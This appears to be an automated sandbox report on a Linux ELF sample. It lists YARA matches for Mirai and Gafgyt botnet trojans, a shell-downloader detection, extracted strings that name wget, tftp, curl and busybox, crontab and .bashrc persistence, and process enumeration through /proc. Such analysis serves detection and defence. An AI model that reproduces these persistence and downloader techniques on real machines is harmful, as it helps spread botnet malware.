Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Yara detected ShellDownloader

Source: Yara match

File source: /bins.sh, type: DROPPED

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogsh4->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/sh4.elf (PID: 5403)

SIGKILL sent: pid: 5403, result: unknown

Jump to behavior

Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal92.troj.linELF@0/73@3/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5436)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5435)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Source: /tmp/sh4.elf (PID: 5401)

File written: /root/.bashrc

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5435)	File: /var/spool/cron/crontabs/tmp.Eam4Sa			Jump to behavior
Source: /usr/bin/crontab (PID: 5435)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/sh4.elf (PID: 5401)	File: /root/.bashrc	Jump to behavior
Source: /bin/curl (PID: 5439)	Directory: /root/.curlrc	Jump to behavior
Source: /bin/sh (PID: 5566)	Directory: /tmp/.	Jump to behavior
Source: /bin/sh (PID: 5580)	Directory: /tmp/.	Jump to behavior
Source: /usr/bin/gpg (PID: 5423)	File: /var/lib/fwupd/gnupg/.#lk0x000055a82e2a7b80.galassia.5423	Jump to behavior
Source: /usr/bin/gpg (PID: 5425)	File: /var/lib/fwupd/gnupg/.#lk0x0000558a2a781b80.galassia.5425	Jump to behavior
Source: /usr/bin/gpg (PID: 5427)	File: /var/lib/fwupd/gnupg/.#lk0x000055eca1036b80.galassia.5427	Jump to behavior
Source: /usr/bin/gpg (PID: 5441)	File: /var/lib/fwupd/gnupg/.#lk0x000055e65c816b80.galassia.5441	Jump to behavior

Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5382/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5382/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5382/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5383/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5383/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/5383/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3760/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3760/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/233/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/117/cmdline	Jump to behavior
